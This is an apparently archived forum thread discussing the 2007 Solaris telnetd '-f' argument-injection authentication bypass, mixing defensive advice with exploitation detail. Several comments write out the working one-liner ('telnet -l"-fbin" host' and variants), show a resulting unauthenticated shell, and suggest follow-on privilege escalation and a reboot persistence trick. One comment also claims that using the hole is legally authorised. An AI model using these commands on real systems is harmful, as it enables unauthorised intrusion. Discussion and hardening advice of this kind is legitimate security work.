1) this attack does not work:

Escape character is '^]'.
Not on system console
Connection closed by foreign host.

2) when installing U3 one can opt to close most services. This could be also done after installation with "netservices limited" command.

Re:Configuration issue

[Jim_Maryland]

I tested on a Solaris 9 and 10 system without luck as long as root can only login on the console. I temporarily changed to allow root remote login and it did work for Solaris 10. I didn't test Solaris 9 but presumably it would work too. Hopefully most admins have disabled telnet or at least lock root to a console login only.

Re:Configuration issue

[moyix]

This is only because root is not allowed to log in remotely by default. "-fanyotheruser" will still work. I believe the current favorite is "-fbin". Also, if you've commented out the console line in /etc/default/login, it will allow access to root.

This has been confirmed on the latest version of Solaris 10.

Re:Configuration issue

[BrianRoach]

"Since apparently Sun is negligent enough to have telnet enabled by default, it is an important story."

Sure, as long as you include the part that "by default" means you have to explicitly turn it on during the install.

When you're installing Solaris 10, you're prompted for how you want remote services initially configured.

The wrong way is to enable everything (including telnetd). The right way is to says "yes" which means the box comes up with only sshd running for remote access.

- Roach

Re:Configuration issue

[fatrat]

It still works fine. Just give any other valid username. Now you've got a local shell and are good to go. Not being root in one step is just a minor roadblock.

Re:Configuration issue

[AtariDatacenter]

> Escape character is '^]'.
> Not on system console
> Connection closed by foreign host.

Reason that message happened: You succesfully logged in as root. However, /etc/default/login specified that root logins may only be made from the console. Feel free to telnet in as any other user.

And for the people saying, "OMG! Who uses telnet anymore?!?!", remember that with Solaris (at least up until my experience with 10), it comes out of the box with Telnet *enabled*. It isn't people who enabled telnet that are at risk. It is the people who didn't disable telnet (and other services) that at are at risk. Of course, those aren't going to be your best and brightest security people, and they may be slow on patches, so yeah, this is a big deal.

Re:Configuration issue

[Anonymous Coward]

OpenSSH doesn't allow logins for users with empty passwords (dunno about keyed login).
Kinda pisses me off because occasionally i want to ssh into my laptop (which has no password set) and have to set a password on it in advance. I'd probably be less impressed if it allowed it though...

Re:Configuration issue

[ohzero]

that's because you're trying to log in as root.
try a regular user.

Oh my goodness! This is HORRIBLE! AUUUGH!!!!!!!!

[Chas]

[Austin] Really?

[Dr. Evil] No. Not really. The use of Telnet has been deprecated for the better part of a decade now. Telnet was never really designed with end-to-end security in mind. It's just an easy way to gain shell access with a token login.

not an excuse

[otacon]

"Nobody should be using it anyways" is not an excuse. If it is included, it should be held to the same standard as every other application. In some legacy cases I'm sure telnet is of some use. But regardless the fact that it has a practical use or not is irrelevant.

Re:not an excuse

[LoadWB]

Fully agree here. If it ships with the OS, it should be audited and maintained like everything else. I have a Solaris 7 box sitting out in the wild that I have to run in.telnetd on because the SSH daemon occasionally likes to die*, and inetd has never died on me. It's protected by tcp-wrappers and a Cisco ACL to allow only a single IP address to connect.

* Might have to do with only having 64MB of memory available. Of course, there's security there, too -- the server has 2GB of hard drive space and 64MB of memory. Nobody wants to pwn that, right ;) Just enough to run bind and sendmail.

Now begins the chastising for running a machine over a decade old. Hey, it works (mostly!) and was a free box. Testament to Sun's hardware design if you ask me.

Re:not an excuse

[smash]

Agreed. Solution: don't ship telnetd any more. If someone wants to enable inherently brain damaged 1970s daemons, then let them compile/install them by themselves...

Re:not an excuse

[MrZilla]

No, it's not an excuse, and I don't think it was supposed to be one either, it's more of a "well, the impact of this shouldn't be great, since there are so few reasons to have telnet enabled."

But, indeed, the bug should not have been there in the first place.

the authors seem very confused ...

[petes_PoV]

First they say there's a bug with telnet passing switches through to login.
Then they start a tirade against sending passwords in the clear.
After that they say the fix is not to use telnet.

Putting aside the holier (more secure) than thou attitudes here about telnet security. I've got to say that not using something because it's broken is never a fix (unless you're a manager). The fix is to mend the problem. In the meantime, maybe, avoid the service. but bear in mind, someone still has to fix it.

Re:the authors seem very confused ...

[Bert64]

Not using telnet is a valid fix...
Telnet is a security risk, even if this bug were fixed. Telnet is still considered a risk on other systems which don't have this vulnerability.

Re:the authors seem very confused ...

[Anonymous Coward]

The "fix" for telnet...

Update some of the sub-option codes to allow and enable (private and public-key) encryption, and then disable clear-text communication. Then replace all telnet clients and servers.

Oh wait, that's already been done. It's called ssh.

-M

Re:the authors seem very confused ...

[pla]

First they say there's a bug with telnet passing switches through to login. Then they start a tirade against sending passwords in the clear.

I would not suggest overlooking that GLARING flaw with telnet.

Yes, we should consider this particular bug a serious flaw in need of repair. But it seems like something of an absurdity to worry about one critical security flaw while ignoring another just because it counts as a "feature" rather than a "bug".



I've got to say that not using something because it's broken is never a fix (unless you're a manager). The fix is to mend the problem.

But what do you do when the problem exists by design?

Re:the authors seem very confused ...

[Frank T. Lofaro Jr.]

Passwords in the clear isn't as a big a deal as you think.

Risks of interception on your internal network exist, but you should have trustworthy employees. Otherwise they could just STEAL your computers, or kill you, or whatever. Telnet is the LEAST of your problems.

What percentage of bugs are due to
1) Packet interception between 2 networks? (very very few)
2) Due to bugs in server software? (most)

If the FBI, NSA, or CIA is packet sniffing the backbone to get at your traffic, you have much worse problems. Since they can put a camera in your office or house, arrest you or assassinate you just as easy (actually, MUCH easier, trying to stiff terabit backbone links is extremely hard even for a motivated and powerful attacker - who has other means to deal with you).

OpenSolaris as a development model

[lewiz]

This seems to be a good example of both the benefits and drawbacks of an open development model.
The good news is that a third party has informed Sun of the info, who will now fix it.
The bad news is that we have no idea how long people have known about this problem...

Re:OpenSolaris as a development model

[pipatron]

The bad news is that we have no idea how long people have known about this problem...

But in a closed development model we would have some magic insight in how long people have known about a flaw? I'm sorry, but I fail to see the drawbacks in this case.

Re:OpenSolaris as a development model

[Bert64]

I'm sure people have known about it for quite a time...
Being open won't have helped in this case, people found an almost identical issue in AIX 3, which is closed. I wonder how many enterprising script kiddies went trying to exploit the AIX vulnerability, and accidentally got into a Solaris machine.

Re:OpenSolaris as a development model

[lewiz]

You are exactly right... we would be no better off. The only drawback is security through obscurity... but we all know that's a bad thing, right? :)

0-day?

[Aladrin]

Maybe I'm just confused, but doesn't '0-day' mean the exploit was found the day the code in question was released?

I generally don't follow Solaris, and 11 might have just come out, but I seriously doubt 10 and 11 both came out at the same time.

Re:0-day?

[walt-sjc]

No, zero day means that an exploit was released before or on the same day as the vendor / community found out about it. Ethical security researchers notify the vendor first, and at LEAST give them a few days / weeks to resolve the problem before releasing the full details to the public.

Re:0-day?

[Anonymous Coward]

AFAIK 0-day means "zero days 'til exploit is released", i.e. there are exploits out there.

- Peder

Re:0-day?

[jmv]

No, it means the exploit came in 0-day after the patch, i.e. you're screwed even if you're up-to-date with the security patches.

Re:0-day?

[Bohnanza]

"0-day" has become nothing more than a buzzword.

Re:0-day?

[db32]

In terms of warez 0-day is 0 days from release it was warezed. In terms of security its a little different. 0-day vulnerability is misleading at best, but since when have slashdot headlines been accurate? 0-day exploits are exploits released 0 days from discovery of the vulnerability as opposed to exploit code showing up 30 days after the owner was notified and has a chance to fix it. So you can have 0-day exploits from code that is 10 years old. This is in a sense also related to the stupid hacking challenges where you can get a prize for haxoring the uber leet secure box. Noone that really knows what the hell they are doing are going to break out 0-day exploits on a dummy box because they can be used/sold for much more to target important systems if noone knows about the hole.

Re:0-day?

[Imagix]

No, and this is a pet peeve of mine. Previously, a "0-day release" of pirated (illegaly copied, pick your favourite term) software meant that the pirated version of a program was released the same day that the retail version of it was made available. (At least this is where I presume the idea of "0-day" came from). Thus, I would have expected that a "0-day vulnerability" would have meant that the vulnerability was discovered the same day that the software was released. But no... somebody decided that they needed a suitably sensationalist title for vulnerabilities, and thus use a different definition. It's when the vulnerability is announced the same day that an exploit for it is. The reason I think that this is sensationalist is that this classification is rather artificial since the person announcing the vulnerability could simply delay announcing it until an exploit is created, thus *poof* this vulnerability becomes a 0-day vulnerability (insert ominous soundtrack).

Re:0-day?

[Chacham]

"0-day" has become nothing more than a buzzword.

Because it itself is no longer a 0-day buzzword. Oh, the irony.

Re:0-day?

[TobyWong]

In the warez scene "0-day" used to refer to how fast a given site got the goods (no idea if this is still the case). All of the top sites were 0-day because they got all new releases (talking warez releases here, not retail releases) the day they came out. The slightly lesser sites could be 1 or 2-day depending on how fast it all trickled down via couriers and then the really slow sites could be 5 or 6-day. Once speeds started ramping up on the internet though, even the crappy sites started to get 0-day goods and a lot of the prestige of that title was lost. From there it became "0-hour" which was really an indication of how competitive it had become amongst couriers to be the first to upload new releases.

The reason "0-day" didn't take retail release date into consideration was because depending on the complexity of the copy protection, it could take a couple days or even a week after retail release date for a working crack to be developed, yet once that piece of software was packed and uploaded to the first top site, it was still considered to be "0-day".

Re:0-day?

[Yenya]

Maybe I'm just confused, but doesn't '0-day' mean the exploit was found the day the code in question was released?

Nope. `0-day' means that the vulnerability (with the exploit) is made public before (or the same day) the vendor patch is available. See http://en.wikipedia.org/wiki/0_day, section "Exploits and vulnerabilities".

Re:0-day?

[Anonymous Coward]

If you want to be pedantic, its still not 0-day, because the date of release was around 5AM GMT 11-Feb-2007, which would make it 1-day. See the original posting to full-disclosure: http://seclists.org/fulldisclosure/2007/Feb/0217.h tml

Your definition of 0-day is slightly wrong too.

Re:0-day?

[daVinci1980]

Err, I think you're a bit mistaken.

0-day wasn't about the site releasing the warez. It was about the apps. When the warez version was available on the day the application was released, it was considered '0-day.'

Not that I'm into the scene or anything [anymore].

Re:0-day?

[Lord Ender]

No, 0-day means an exploit was released on or before the day the patch was released.

Re:0-day?

[tyler.willard]

No, it doesn't. There seems to be a lot of confusion about this, probably due to bad marketing campaigns. The basic situation is this: if you know about it, it's not a zero-day (unless, of course, you're the one who found it).

Re:0-day?

[Lord Ender]

That may have been the most widely-accepted definition at some point. But today, I see "0-day" used most often when referring to exploits for which no patch exists.

If you're right, this definition is changing and there isn't really anything we can do about it (see the word "hacker").

Re:0-day?

[Anonymous Coward]

It's very difficult to describe this bug without explaining how to exploit it. Even just saying "telnet is critically flawed, allowing anyone to log in as any user" is a big enough clue for someone who's seen this kind of bug before (for instance, when Linux used to suffer from it) to be able to trivially rediscover the exploit.

Re:0-day?

[walt-sjc]

If the vendor doesn't know about it, OBVIOUSLY there isn't going to be a patch yet. That said, I don't think your definition is wrong, but is a corner case where the vendor finds out about the bug but hasn't had enough time to fix it (of course some vendors make a business decision to fuck over their customers and don't release a patch either.) If a vulnerability is known about for an extended period of time and there is no patch, it's hardly a zero day problem - there were lots of days available for people to take precautionary measures. Zero day implies that you can git hit out of the blue - it's new, unknown.

Who uses telnet these days?

[deevnil]

towel.blinkenlights.nl, that's who.

Off By Default

[JusticeISaid]

Actually, recent revs of Solaris install with daemons for remote services (including TELNET) not running unless the individual performing the install explicitly requests the legacy behavior. (Previous versions, as with most *NIX operating systems, enabled most remote services by default.) Typically, therefore, there is nothing to "fix."

Re:Off By Default

[TheRaven64]

I just checked my Solaris 10 box (I don't use it for much, just checking my code works on BSD/x86 and SysV/SPARC, which generally means everything else too), and it had telnet turned on. I definitely haven't activated it myself, so it must have been there by default.

Re:Off By Default

[Anonymous Coward]

I'll confirm this. The Solaris 10 6/06 install prompts you if you want Telnet enabled, but it's kind of vague. In the GUI install, tt asks if you want a secure network environment or something close to that.

I can't remember which option was default, but I said yes, and telnet was disabled upon boot-up.

Re:Off By Default

[Anonymous Coward]

The default may well be to have telnet disabled by default if you do an interactive install. However,
having just tried to upgrade a Solaris 8 jumpstart setup to Solaris 10, it appears that the default
for a vanilla jumpstart install is for telnetd (and everything else) to be enabled!

RootWont work if CONSOLE set in /etc/default/login

[Anonymous Coward]

This wont work if you have a line on /etc/default/login saying

CONSOLE=/dev/console

This only prevents root from not being allowed to login

You can still login as any other user.

Ouch!

[Anonymous Coward]

If I was a solaris sysadmin right now I would be doing one of the following.

- Running round like a bastard disabling telnetd/updating my firewall rules.
- Checking my logs very carefully.
- Feeling smug about disabling telnetd immediately after setting up the box.

I like to think it would be the last one, but I have always been a crap sysadmin, so I would probably be going for option 4:

- Failing to notice all my machines getting pwn3d.

Re:Is it a buffer overflow?

[donicer]

http://erratasec.blogspot.com/

Its not a buffer overflow, its just unvalidated input.

Telnet? Useless...

[zuhaifi]

Due to the holes in telnet, many Web professionals prefer the more secure SSH, which stands for "Secure Shell." Telnet could now be called "Unsecure Shell," where the "shell" refers to shell access. This level of access is similar to reaching the C: command prompt in DOS, where you have access to the full operating system. Hackers want to gain shell access, so they can wreak havoc with your site as well as damage other sites on the server if multiple sites are hosted.

Re:Telnet? Useless...

[Anonymous Coward]

...

That was the worst comment I've ever read. If someone wants to know about telnet, they can look it up on wikipedia. It even includes a section on security of telnet.

Re:Telnet? Useless...

[Anonymous Coward]

It looks like you copy and pasted this, and you must be new here, everyone here knows that

Re:Telnet? Useless...

[Anonymous Coward]

Yeah, um, just like the shell in DOS only under an OS with actual access control and memory protection.
I must say, I'm not sure who the target audience was for the rest of your comment either.

Re:Telnet? Useless...

[pimpimpim]

Or better, try it out for yourself here. (I don't give the direct link to the telnet star wars server, don't want the poor guy to get slashdotted).

Re:Telnet? Useless...

[hyperstation]

somewhere, a SAMS Publishing author swears he typed that paragraph about the insecurity of telnet...

Re:Telnet? Useless...

[zuhaifi]

Just a quote for xtra info :p

Re:Is it a buffer overflow?

[slack_prad]

Yes, we should rewrite all the basic unix utilities in java. This way when multiple people are trying to use a system, nothing would work and the hackers cannot access the machine. Security through Denial of Service.

The Exploit

[biftek]

Since noone seems to have bothered posting it yet, "telnet -l -frandomuser randomsolarishost".

So stupid.

Re:The Exploit

[sedman]

I just fired up a solaris install on vmware and enabled telnet to try this out.

Sure enough, you don't need to authenticate. The slightly good news is that by default, root still can't get on (Not on system console). However, it did let daemon right on.

Re:The Exploit

[cjmt]

Since noone seems to have bothered posting it yet, "telnet -l -frandomuser randomsolarishost".

So stupid.

Actually I think its "telnet -l -froot randomsolarishost" if you want root access

Re:The Exploit

[biftek]

Nah, I think root's the only user that _won't_ work...?

Re:AIX Telnet?

[Mr Pippin]

AIX does not really support OpenSSH, for that matter. The Linux Toolbox/Bonus Pack doesn't really count, since the software is provided "as is" for all intents and purposes.
I would encourage anyone that they need to harass their marketing rep, and get IBM to "officially" support OpenSSH, and at least supply it on the base AIX install media.

Re:Is it a buffer overflow?

[Anonymous Coward]

Repeat with me again: its not C/C++, its the developer.

Guns don't kill people, people with guns kill people.

C/C++ doesn't overflow buffers, programmers who don't do proper bounds checking or use methods or classes without bounds checking write code which overflows buffers.

Re:Is it a buffer overflow?

[CompMD]

Sure, we can stop using C.

We'll just suddenly and completely rewrite nearly every operating system we use. Yeah, that shouldn't be too hard!

Re:Is it a buffer overflow?

[Stumbles]

Yeah, sure why not. I always thought it was a bad move from assembly....... now that's coding !!!

what???

[DaMattster]

I didn't know anyone still used Telnet. Personally, I gave up that bad habit a long time ago when there was a need to do big things like not have your authentication credentials pass in plain text. Seriously, why is this an issue? Any competent unix sysadmin will be using SSH. The first thing I do when setting up a new unix server is to visually verify that the telnet daemon has been turned off or comment it out in the inetd.conf. Sounds like some attempt at FUD against a very stable, mature, and good operating system. This article is just, well, a moot point.

Re:what???

[Anonymous Coward]

Well, you could always run telnet over a SSH tunnel! ha!

Re:Is it a buffer overflow?

[someone1234]

Yeah, it would be very good to reimplement the OS in Java. But before you start with the OS, why not try something simpler, the java runtime engine?

We're not in the 90s anymore

[thepacketmaster]

Coming from a dot-com background, it was a given that telnet was disable and replaced with OpenSSH or something similar. I'm amazed though at how many large companies are still running telnet. Sure, they have most of their servers behind firewalls, but since the largest number of breakins are still attributed to internal hacks telnet needs to be considered obsolete.

Re:We're not in the 90s anymore

[TheLink]

Someone should tell Sun that, after all they even put a very 1990s flaw in their telnetd.

Or are they trying to tell us that their new Solaris is for people who like going "retro"?

Didn't work on Solaris 10 01/06

[jaymzter]

rhlinux1:~$ telnet -l"-froot" solaris
Trying 172.16.141.27...
Connected to solaris.example.com (172.16.141.27).
Escape character is '^]'.
Not on system console
Connection closed by foreign host

This is basically a vanilla install.

Re:Didn't work on Solaris 10 01/06

[Anonymous Coward]

telnet -l"-fbin" solaris

Re:Didn't work on Solaris 10 01/06

[zero1101]

Try "-fyourusernamehere"

Re:Didn't work on Solaris 10 01/06

[zeylisse]

Well, seems like you have "CONSOLE=/dev/console" option enabled in /etc/default/login, so it permits root logins only on that device.
But allowing anyone to get a system access under 'bin' user or 'daemon' user is still pretty fucking insane!

Re:Didn't work on Solaris 10 01/06

[jaymzter]

That did work. One correction however... I'm using Solaris 10 11/06, not 01/06

rhlinux1:/09:01:01~$ telnet -l"-fbin" solaris
Trying 172.16.141.27...
Connected to solaris.jaymzworld.test (172.16.141.27).
Escape character is '^]'.
Sun Microsystems Inc. SunOS 5.10 Generic January 2005
$ uname -a
SunOS solaris 5.10 Generic_118855-33 i86pc i386 i86pc
$ id
uid=2(bin) gid=2(bin

I ran the following to disable telnet
inetadm -d svc:/network/telnet:default

Re:Didn't work on Solaris 10 01/06

[brenbart]

I tried it on verison 5.8 and it didn't work.

Re:Didn't work on Solaris 10 01/06

[Beren]

Umm... instead of root, why don't you try a regular user account? It works then (at least, on my Solaris 10 03/05 install). Once you have a local account, local exploits are much easier to find instead of trying to do a remote root exploit...

Re:Didn't work on Solaris 10 01/06

[Anonymous Coward]

You can't use root on the later version, need to use a default user like bin and then execute a local priv escalation

Re:Didn't work on Solaris 10 01/06

[Zwaxy]

The double quotes don't make any difference there, do they?

telnet -l-fbin solaris

should do exactly the same I think.

Re:Didn't work on Solaris 10 01/06

[pitc]

It works for me so long as I'm not trying to login as root.

Woah..

[arse maker]

It takes this to make windows look secure :)

Re:Is it a buffer overflow?

[generationxyu]

Please. If you want to avoid buffer overflows, burn your own EEPROMs with a couple of leads and a 9v.

I just got this in my inbox from Microsoft

[kentrel]

To: You Unix Communists
From: Steve Ballmer
Subject: Pwned
Body:
Microsoft:1 - Unix: NIL LOLOLOLOLOLOL!!!!!!!111

:)
Love Steviepoo

Must not be evil .....

[onetwofour]

Solaris 5.10 is run at our University and telnet is STILL running. I might as well login to telnet as root and shut down telnet, though that I'm sure would be seen as naughty.

Re:Must not be evil .....

[Anonymous Coward]

"I might as well login to telnet as root and shut down telnet, though that I'm sure would be seen as naughty."

As you're not authorised to make changes it would be an offence under Sections 1 & 3 of the Computer Misuse Act, so don't touch lest you get kicked out of university, fined and thrown in jail!

Re:Must not be evil .....

[Venik]

The mere fact of using this telnet hole to gain root access does not constitute a violation of the Computer Misuse Act, as there is no unauthorized access. The beauty of this hole is that it uses only options offered by the standard telnet implementation for this OS. Essentially, this is not an exploit and there is no "hacking" involved. It's an opened door. An opened door on a public server may be viewed as an equivalent of access authorization.

Re:Must not be evil .....

[Anonymous Coward]

Yeah, uh huh. Right. Why don't you just go ahead and make that argument when you're caught and see how far it takes you..?

Re:Must not be evil .....

[Venik]

I think this argument will hold up in court. The hole in Solaris 10 telnet presents a rather unusual situation. There is a "feature", as Sun calls their bugs, of telnet that allows unauthenticated root access. One does not need to do *anything special* to use this feature.

By default, even if telnet is enabled (early releases of Solaris 10), the admin still has to comment out "CONSOLE" in /etc/default/login. By doing so, the admin intentionally authorizes direct telnet by root. The fact that the admin did not know about the authentication issue is really his problem.

There is no valid reason

[Tweekster]

to be using telnet, and there hasnt been for about the last 5 years easily. I will say again, there is no VALID reason to use telnet. If you want to try and defend your use of telnet, I think you should spend the time looking for a new career in some riskier field because you apparently enjoy unnecessary risks. and that is all telnet is, an unnecessary risk, it has no place on a server, on a network, on a computer at all.

Re:Is it a buffer overflow?

[CCFreak2K]

Maybe Sun would rather use Java instead.

I run telnet....

[dnormant]

While I'm upgrading openssl or ssh. It's a pain getting lock out of a server and having to resort to the console. And, I never forget to disable it when I'm done.

Re:I run telnet....

[PalmKiller]

same here...of course I have it tcp wrapped to my ip I am using at the time also...so if I did forget it would not be a real issue...unless of course tcp wrappers is broken too

Re:I run telnet....

[TheLink]

Why don't you run another sshd on a different port?

yeah right....

[smash]

... if there is a single unix admin running telnetd on a non-firewalled, internet-connected machine they deserve to be shot, until they are dead.

... and then shot again.

Guh!

[Greyfox]

I bet this is still a problem on most other flavors of commercial UNIX, too. I found it for DG/UX back in '96 while reading the source code to their telnet server (I was doing security auditing for them at the time.) Their server was pretty much unmodified from the original AT&T code. The fragmented UNIX industry insures that this problem keeps cropping up even though it's been documented for a solid decade now. And what's worse, most UNIX vendors still ship their machines with telnetd enabled.

Data General's proactive approach to security (Actually having people read through and test all their code) turned up a lot of problems that would otherwise have gone unnoticed and would probably have been exploited at a later date. Perhaps the other commercial UNIX vendors should consider that approach rather than relying on code that no one's looked at in 20 years to be secure.

This is not totally correct

[Anonymous Coward]

Because it will only work if you have commented out the CONSOLE line in /etc/default/login which is uncommented by default.

Greetings.

MUDs ok?

[Pakaran2]

This bug is for Solaris telnet only, correct? So MUDs and others which are using the protocal without telnetd are ok?

Re:MUDs ok?

[fizbin]

Short answer: yes

Long answer: Even if there were a breach in the security of your mud, it would only allow access as the user running the mud daemon. Usually that isn't root. (with telnetd, of course, it usually is root)

Longer answer: The specific vulnerability here covers the way that telnetd passes arguments to the program login. Specifically, it passes what telnetd thinks is a parameter, but login interprets the passed result as an option. Presumably, your MUD server isn't turning around and calling external programs with the login name of the user who just connected. Besides, almost all MUD servers ignore nearly all telnet options anyway.

This illustrates one of the great big rules about secure unix programming: when invoking some other program with user-supplied arguments, always be very keenly aware that many programs interpret arguments beginning with "-" to mean "radically alter your behavior". Altered behaviors are usually bad news, security wise: in this case, the login program treats an argument beginning with "-f" to mean "no authentication required". One traditional way to avoid these problems is to pass an argument consisting of "--" before the user-supplied arguments; another way is to assume that anyone arranging for a user-supplied argument beginning with "-" is trying something bad, and simply refuse any such requests.

As another example of this general principle, it used to be the case that many man2html gateways allowed users to pass arbitrary arguments to the man(1) command. Now, this did allow the convenience of passing "-k" as the section to do a search, but it also allowed the security nightmare of "-Pprogram" to run an arbitrary program on the target machine. You really don't want it to be possible for external users to pass arbitrary options to other programs.

Re:RootWont work if CONSOLE set in /etc/default/lo

[ettlz]

This only prevents root from not being allowed to login

Um...

Credible Source?

[99BottlesOfBeerInMyF]

The linked description does not seem to have any references to other descriptions of this vulnerability, nor do they seem to be showing up in Google or in the normal security channels. Anyone have a link to some real information on this. If this is truly a zero-day situation who was exploited and what are the details of the exploit? Was this a manual exploit or a worm?

I have no reason to doubt the linked description, but it is pretty vague. Where's the beef?

Telnet - bad?

[wytcld]

In defense of having telnet initially enabled: It's the most basic way in if you're booting headless. Maybe you have to install the system quick and there's a problem with its video. So you boot it, telnet in from a local connection (not on a larger network), configure whatnot including your sshd, then shut down telnet and away you go.

If you don't have the sense to check for and shut down standard external services that you don't need, especially those that have weak security by nature, before putting a Solaris box on a larger network, you really shouldn't be running it anyway.

Having the default means in be ssh rather than telnet wouldn't be much safer, since there have been ssh exploits in the past too (and without further protection it's vulnerable to dictionary attacks). SSH is only reasonably safe if always kept updated (and with something in front of it to block those dictionary attacks). Would the sysadmin too negligent to turn off telnet be thorough at keeping SSH updated?

A default way into headless machines is too valuable to be without, but there's risk in all current methods.

Re:Telnet - bad?

[walt-sjc]

When you kickstart / jumpstart the machine, you install / configure ssh at that time. No need for telnet - EVER. All my servers are headless, and install themselves from blank factory state to locally customized, ssh-enabled state within 15 minutes and zero user intervention.

I don't think it's possible to install Solaris without user intervention from standard distro CD / DVD without using jumpstart or some other remote auto-install system. You need some kind of console access - even if it's serial.

I'm trying to think...

[catdevnull]

I'm trying to think of some good reason someone might still have telnet, ftp, or some other unencrypted service running on Solaris. The only reasons I can think of are not good--legacy apps are NOT a good reason. If you can't do it over an SSH tunnel, then you shouldn't be doing it.

Maybe the Solaris patch team figured the same thing.

Re:I'm trying to think...

[cpghost]

Some legacy equipment (routers, terminal switches, etc...) still needs to be telnetted into (though netcat would be perfectly fine too). So there's a use for a telnet client. But why a telnet server on Solaris 10?

Re:I'm trying to think...

[devlp0]

I use ftp instead of SCP as I get much much higher data speeds using ftp. When transferring huge files, this makes sense as it saves a lot of time (obviuosly within perimiter Firewalls, or over already encrypted links)

telnet is often used by 3rd party hardware (Firewalls, routers etc.) and are secured in the knowledge that the interface the telnet daemon is listening on is on an already secured network, although you would be surprised how many Firewalls I have found where the telnet daemon is accessible from unsecure networks (even the Internet in some cases!)

I acknowledge that most of this equipment now comes with SSH servers - I guess it comes down to persuading Network and Security Admins. to use the SSH interface and disable the telnet interface altogether - In my experience, many have not switched over to SSH for historical reasons (ie they "always" use telnet to access a router!)

Re:I'm trying to think...

[devlp0]

Yeah, i know what you mean. But still, most other Unix distros come with a telnet server somewhere in their Installation set. It's not uncommon I suppose

Re:I'm trying to think...

[thogard]

When the base package includes a word processor, why not throw in telnetd along with the kitchen sink?

Sun seems to have dropped the ball with security and Sol 10 is just too complex to secure. I mean when telnetd has a problem, what else slipped by? Too bad their new hardware won't run Solairs 9.

Re:I'm trying to think...

[Control-G]

Anonymous ftp.

Re:I'm trying to think...

[catdevnull]

Telnet Client is definitely understandable. I still have to use telnet to config old HP JetDirect cards, etc., but I certainly would not even entertain the idea of opening telnet as a service on a unix box of any flavor much less Solaris.

Re:I'm trying to think...

[catdevnull]

Heh--why do you need to run a telnet service on a unix box to enable Anonymous FTP?

At least with Anonymous FTP (read only), there are no user passwords passing in clear text.

If you want anonymous FTP, just use someone else's Windows box just like all the other script kiddies :D

Re:Is it a buffer overflow?

[Vexorian]

Could we stop making dumb mistakes with code? pretty please? Java is not really going to protect software from inept programmers.

Anyone tested it?

[Anonymous Coward]

I just looked at the example exploit command shown in the linked article and I was unable to successfully execute this allegedly simple vulnerability. Either I'm missing a detail, which is likely since it's about an hour earlier than I ever wake up, or this doesn't affect all systems?

$ telnet -l"-froot" 10.0.0.121
Trying 10.0.0.121...
Connected to 10.0.0.121 (10.0.0.121).
Escape character is '^]'.
Not on system console
Connection closed by foreign host.

Re:Anyone tested it?

[TrogL]

I tried on all my boxes (yes, I'm days away from transitioning away from telnet as soon as all the users get a Windows SSH client) and couldn't duplicate the exploit. That is includes two Solaris 10 boxes.

Re:Anyone tested it?

[Anonymous Coward]

Yes. There are about twelve posts in this article already that already point out why using it to login as root probably wont work. Try: telnet -l "-fbin" 10.0.0.121 or replace "bin" with any other non-root user. Personally I just logged in as our DBA to prove at least one of our Solaris 10 machines is vulnerable.

Re:Anyone tested it?

[Anonymous Coward]

Then go edit /etc/svc/* and change something that gets run at shutdown to "svcadm enable svc:/network/telnet:default" and you can own the box again after it gets rebooted.

What I'd do, if ...

[udippel]

... I had a say in SUN: Sack the responsible for security.
No, not for cheap repay !

Not for the vulnerability as such. Not for the forgotten validity checks. Not for eventually shipping telnetd.
(Only Theo & friends can permit to not ship it.)

But:
  - For enabling it by default; at install; in 2007
  - Worse: for still not running it unprivileged; though that is possible

SSH clients are needed too

[arth1]

Not only does AIX not support SSH fully, but Microsoft doesn't either. Unless Redmond has seen the light now, you have to obtain a third party SSH client for your Windows clients, with the extra support overhead, licensing and lack of OS vendor support this entails. There's Hummingbird, F-Secure and Red Hat (cygwin commercial) that I know of -- otherwise you're forced to run unsupported software, which few large companies want to do.

Re:SSH clients are needed too

[DimGeo]

I thought everyone was using PuTTy & WinSCP...

telnet -l"-fbin" 127.0.0.1

[Anonymous Coward]

Well, it doesn't work with root account on default Solaris 10 installation, but it works with bin, daemon, sys which exists by default as well. From there we got list of all the other users and pretty much access to most data there.

A blast from the past!

[dougmc]

Yow! I remember hacking a fix together for the AIX hole over a decade ago with a little shell script that I threw together.

A similar fix would probably work now if anybody cared, but I imagine Sun will fix the hole properly quickly, probably more quickly than IBM fixed theirs back when, and not many people have telnet enabled on Internet-facing machines anymore anyways, but even so, it's amazing to see basically the same hole over ten years later. Linux has had similar problems too -- I believe the root source was Julianne/John F. Haugh's shadow suite back then, and I wonder if it's still the original source here.

Re:A blast from the past!

[Anonymous Coward]

I remember that problem... in those days I had installed a couple of Linux servers at a bank. When the hole got published and everyone was going to tell that Linux was a toy and not very secure, it turned out that AIX was in wide use as well :-) :-)

I remember I studied the matter and it turned out to be caused by extremely sloppy programming by JFH.

Kudos to OpenBSD for REMOVING telnetd

[Anonymous Coward]

Need I say more?

telnetd NOT on "by default" in Solaris 10

[BrianRoach]

When you install Solaris 10, you are prompted for how you want remote access to the box initially configured. This is done in phase 1 of the install, running off the install media.

You can either turn on everything (telnetd, ftpd, etc, etc), or only have sshd running when the box comes up for the first time.

So saying that telnetd is on "by default" isn't exactly correct, unless your definition of "by default" is "explicitly enabled".

- Roach

Re:telnetd NOT on "by default" in Solaris 10

[kenh]

Telnetd must be enabled during install in recent Solaris 10 release (Update 3, a.k.a 10/06 release), but earlier releases did enable telent by default.

When I test this on my boxes (UltraSPARCs, not i386s, if it matters) root access is disabled if you are not on system console, period. Also, I am prompted for the password , which is not in the transcript of the "exploit" in the linked-to article...

My test boxes are Update 2 (a.k.a 06/06 release) and Update 3 (10/06 release), with reasonable attentiveness to applying updates on each machine.

I suspect this PROBLEM was discovered on a system that not only has telnet enabled (which is the default on installs based on older releases (Solaris 10 Update 2 or earlier), but also has disabled the lock that prevents root login/access when not on system console, (a user would have to login as a regular user and "su" to root).

This looks like a non-issue to me, but I certainly could be missing something...

Ken

Re:telnetd NOT on "by default" in Solaris 10

[systems_joe]

This looks like a non-issue to me, but I certainly could be missing something... If you can log into a non-root account without being prompted for a password, it is an issue. And it is. I did have to "svcadm disable telnet" on all my Solaris-10 systems.

Re:telnetd NOT on "by default" in Solaris 10

[zombieproc]

1. It seems to me that the best thing to do is make sure CONSOLE=/dev/console is in /etc/default/login and not commented out. Force all who need to login directly as root to do so via the system console. Otherwise do an "su" or install "sudo".

2. Disable telnet. Use SSH. Make it a mandatory policy, no ifs ands or buts. Who in their right mind would run telnet on an Internet attached server? Believe it or not, my company's CorpSec would. So that when we need remote access when on-call we use an RSA keychain fob to authenticate. But everything we do in cleartext and they can read what we do. Which why they won't allow SSH through the firewall. --

The good thing about policies

[DrSkwid]

is there's so many to choose from

http://dag.wieers.com/howto/ssh-http-tunneling/

Someone heard you

[DrSkwid]

